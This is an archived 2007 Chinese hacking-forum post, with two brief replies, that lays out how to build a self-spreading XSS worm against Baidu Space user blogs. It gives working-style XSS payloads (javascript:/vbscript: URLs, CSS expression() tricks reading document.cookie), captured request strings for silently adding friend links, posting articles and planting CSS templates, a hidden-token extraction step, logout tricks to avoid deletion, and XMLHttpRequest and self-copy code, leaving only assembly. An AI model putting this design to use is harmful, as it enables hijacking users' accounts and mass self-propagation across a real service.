岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

猪猪 发表于 2007-3-17 16:51

Baidu Space XSS Worm 思路

前言:

首先问大家一句:手枪是干什么的?

当然你可以用许多富丽堂皇的词语去形容它:自卫、防身、追强盗......

但是不管你怎么说,你不敢否认的是,其实手枪就是用来杀人的。

你没有用它来上山打野猪吧?没有用它来强身健体吧?没有用它到地里挖萝卜白菜什么的吧?

即使是三岁小孩手里拿把真枪对着你,其实他就是想跟你玩而已,但是你不害怕么?

你害怕什么?无非是怕枪走火了,被其打死!

美国政府是允许公民用枪的,难道他们在倡导杀人么?

显然不是!对吧!

如果上面的你能理解,那么希望下面的你也能理解。

Baidu Space XSS Worm是干什么的?无非是对用户进行攻击的。

我想解释,但是确实没有什么好解释的。

但我公布出来的目的应该是跟美国政府的目的一样的:

明知道这个东西是不能挖萝卜,就是来杀人的,但是为了平等就必须公布出来。

难道小偷就没有人权了么?那么,黑客呢?

别忘了,你们现在在用的盗版的xp操作系统就是黑客破解的,包括office,vs.net等等一切你们本应该花钱但现在免费得到的东西。

你不知道的是——你们使用的网络,最初是由美国的几名军事黑客创造出来的。

那么如果没有黑客就根本不会有整个网络的存在,你们在人家创造的网络里,又有什么权利去骂别人呢?

某个人给了你一只气球,你很高兴;但当气球破裂时,你却很伤心,你是否应该骂这个给你气球的人呢?

有几千人在用我提供的方法插入视频,增加版块等等。我敢肯定他们在高兴,但是其实这些方法就是黑客技术的一部分;但是如果百度做点小改动,让所有插入代码的人死机或怎么样,他们恐怕就会来骂我了。这个就是事实

所以我希望对于本篇文章你们会以同样的角度来看待,其实我在做的只是如何打破权限和超越权限,如果没有这些,也不会有你们的插视频,增加版块了。这是一条必经之路。

所以,最后声明一点就是:本文章只做学术探讨,如果有人用在其他地方,Monyer对此概不负责。这只是一把枪,但我可没有叫你们去杀人——虽然它就是用来杀人的。

同时本文有版权,所以请您尊重别人,这样别人才会尊重你,才不会认为你作为人的品质有问题。本文和Monyer其他的文章一样,欢迎随意转载。但务必请保留作者的相关信息以及文章或博客的链接。

谢谢诸位的理解!

一、XSS的插入点

这个不用多说了,即使我最近公布的百度跨站漏洞也不下10个,而且差不多都没有字数限制。你可以到 [url]http://bbs.syue.com/viewthread.php?tid=14012[/url] 自行寻找测试,部分利用如下(不保证其有效性):

[b]文章发表:[/b]

[code]<table><tr><td background="javascript:alert(/xss/)"></tr></table>

<img src="vbscript:msgbox(document.cookie)" />

<img STYLE="xss:expr/*XSS*/ession(alert("XSS"))">[/code]

[b]CSS:[/b]

[code]body{ xss:\0065xpression( alert('xss') ) }

body{background-image:\0075\0072\006c\......}

@\0im\port'\0ja\vasc\ript:alert("XSS")';

@\i\0m\00p\000o\0000\00000r\000000t"url";[/code]

二、Worm的实现流程

1)Worm要做什么

Web Worm要做什么,其实不是取决于代码的强度,而是取决于服务商给了你多少功能——并且这些功能具有通用性。那我们来看看百度吧!

1、发表文章。百度空间对于文章发表这方面的限制是很松的,而且具有极强的通用性。

2、加为好友。可以作为攻击功能

3、友情链接。可以作为攻击功能

4、加入圈子。可以作为攻击功能

5、发短信息。这个如果采用不定向发送就是广告,定向发送就是信息垃圾了

6、留言板。可以作为攻击功能

7、个人档案。可以作为攻击功能

8、基本设置。如果进行文章的XSS的话,可能需要用到它

9、模版设置。作为代码传播方式之一

10、高级设置。用处不是很大

当然这里仅对百度的空间服务而言。

下面我们仅讨论一下,如果要做一个自动加友情链接并传播的Worm的实施思路。

2)关于Web Worm的加友情链接

这个比较简单,通过简单抓包你可以获得如下信息:

[code]/monyer/commit?ct=6&cm=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fbuddylink%2F0&spBuddyName=12345&spBuddyURL=67890&spBuddyIntro=13579&spBuddySign=[/code]

但这里的一个难点是:怎么获得当前登录用户的空间名?其实百度早已经帮我们想到了,你查看任意页面的源代码都可以找到这么一句:

[code]<script>var spaceurl="/monyer";if(spaceurl!="\/index.html"){document.write("| <a href='"+spaceurl+"' target='_blank'>我的空间</a>")}</script>[/code]

如果你想去掉spaceurl中的“/”,就可以用spaceurl.substr(2,spaceurl.length)或者spaceurl.replace('/','')

其中spBuddyName 为友情链接的名称,spBuddyURL 为友情链接的URL,spBuddyIntro 为友情链接的简介。所以如果做成SAMY那样就分别是Monyer、[url]http://hi.baidu.com/monyer[/url]、Monyer is My Hero

3)关于XSS Worm的传播方式

百度空间允许代码执行的地方只有两个:文章发表和CSS。所以如果我们需要让代码传播——复制本身到对方空间,就只能从这两方面下手。

但他们各有利弊:

通过XSS方式发表文章其实很简单的,也没有验证码什么的——这表明你可以刷文章。

同样抓包你可以得到:

[code] /monyer/commit?ct=1&cm=1&spBlogTitle=1234567890&spBlogText=888888888888888888&spBlogCatName=%C4%AC%C8%CF%B7%D6%C0%E0&spIsCmtAllow=1&spBlogPower=0&tj=+%B7%A2%B1%ED%CE%C4%D5%C2+[/code]

其中spBlogTitle 为文章标题,spBlogText 为文章内容。

所以无论我们发什么都可以轻松得到。但是,它的弊端有两个:一是很容易被发现,二是很容易被删除,三是不一定在首页触发。你在别人那里多发了一篇文章,他是不会发现不到的,所以这个弊端无法逃避;但对于反删除,最好的办法莫过于在代码刚刚执行完就立即退出帐户或者跳转空间

[url]http://passport.baidu.com/?logout[/url]



[code]window.location.href[/code]

即可(方法可能有点缺德),由于百度空间是最快的博客空间了,所以那个延时之内你根本做不了什么(对新手来讲);对于内容不是在首页全文显示的,这时就有必要到基本设置里更改一下了

同样抓包一下:

[code]POST /monyer/commit?ct=5&cm=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fspbasic%2F0&spSpaceName=%C3%CE%D6%AE%B9%E2%C3%A2&spSpaceDescri=%D1%A4%B5%C4%C3%CE%D3%C0%CE%DE%D6%B9%BE%B3%2C%BB%DB%B5%C4%CA%D6%D0%E5%B3%F6%B9%E2%C3%A2%21%A1%AA%A1%AA%D6%D0%B9%FA%BA%DA%BF%CD-Monyer.cn&spConfigDispNum=0&spConfigDispMod=1&spDateMod=0&spTimeMod=0&submit=%B1%A3%B4%E6%D1%A1%CF%EE[/code]

不过这一改动不要紧,连空间名也变成“梦之光芒”了,呵呵。

所以利用文章发表进行XSS的最大弊端就是暴露了自己,我们下面来看看CSS XSS的利用

CSS由于是采取后台操作的,所以进行传播我们当然察觉不到。

由于有些人有自己的CSS,有些人用的是别人共享的CSS,所以分歧产生。我们不可能为每一种情况做一种代码,因此折中的方案就是创建新模版。用过豆虾格子 的朋友应该知道建立新模版的一个隐藏链接为[url]http://hi.baidu.com/monyer/modify/spcss/[/url],之所以提到它是因为对于CSS的建立或者修改,其中的一段代码有着“验证码”般的作用:

[code]<input type="hidden" id="spCSSID" name="spCSSID" value="b4e9d2160924ab18972b43eb" />[/code]

这行代码起到给CSS文件起名字的作用,所以我们要做的就是把这个value获取出来,你需要用到的函数可能有substr和indexOf,这里不多解释。CSS创建的抓包如下:

[code]POST /monyer/commit?spCssName=999999999999&ct=5&spCssUse=1&spRefURL=http%3A%2F%2Fhi.baidu.com%2Fmonyer%2Fmodify%2Fspcss%2F&cm=6&spCSSID=b4e9d2160924ab18972b43eb&spCssText=8888888888888[/code]

其中spCssName 为CSS名称,spCssText 为CSS内容。

但是这里又一个问题产生了,原来的CSS怎么办?要不岂不是又露馅了!所以我们还需要获取原来的CSS

[code]<link rel="stylesheet" type="text/css" href="/monyer/css/item/2f6517ce6fb5f739b600c892.css">[/code]

譬如存入变量var CSS然后再做CSS+=XSS并赋值给spCssText 即可。

到此整个传播流程完毕

三、Ajax Hacking方法

在上面的分析中,你们会发现有一处还没有提到,就是httprequest的功能实现。

httprequest对整个XSS Worm制作成功与否起到决定性作用,这也是为什么这种攻击叫做Ajax Hacking 的原因。

这里由于不是讲javascript,对它们的具体意思我就不多说了,关于声明httprequest的方法如下:

[code]//判断是否IE
    if (window.XMLHttpRequest) {
      XmlHttp = new XMLHttpRequest();
    } else if (window.ActiveXObject) {
      XmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}

//参数传递
XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);[/code]

其中URL需要填入的就是上面抓包的内容

对于并非提交表单,仅仅是获取html的方法如下:

[code]XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
    if (XmlHttp.readystate==4 || XmlHttp.readystate=='complete')
     alert(XmlHttp.responsetext);
}[/code]

四、确定Worm本身

既然是要把本身进行代码复制,当然要确定一下哪部分代码才是自己。对于文章的发表,确定起来很简单。我们可以在代码外部用<address>或者是<tbody>之类标签进行封装,然后用

[code]document.getElementsByTagName('tbody')[0].outerHTML[/code]

进行获取.

对于CSS,我们可以用indexOf确定自己的位置,然后用substr选定自己即可。

五、总结

好了,文章到此结束。Monyer并没有给你一个完整的可利用的Worm代码,其原因有三点:一是兔子不吃窝边草,二是我不想“因此”出名,三是我不想伤害别人。

但是如果你懂一点点的js,你就会知道其实这个Worm已经成形了,剩下的只是组装的问题了。

我告诉了你们E=MC2 ,但是我可没有让你们去制造原子弹哦!

关于编码转码请参考JS加解密脚本

有任何问题或建立可以留言给我,转载请注明版权!

小路 发表于 2007-3-17 21:30

收下了。谢谢猪猪

wyzhack 发表于 2007-3-18 08:24

我只会最简单的跨站。  这些看不懂~~ 努力中。。

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.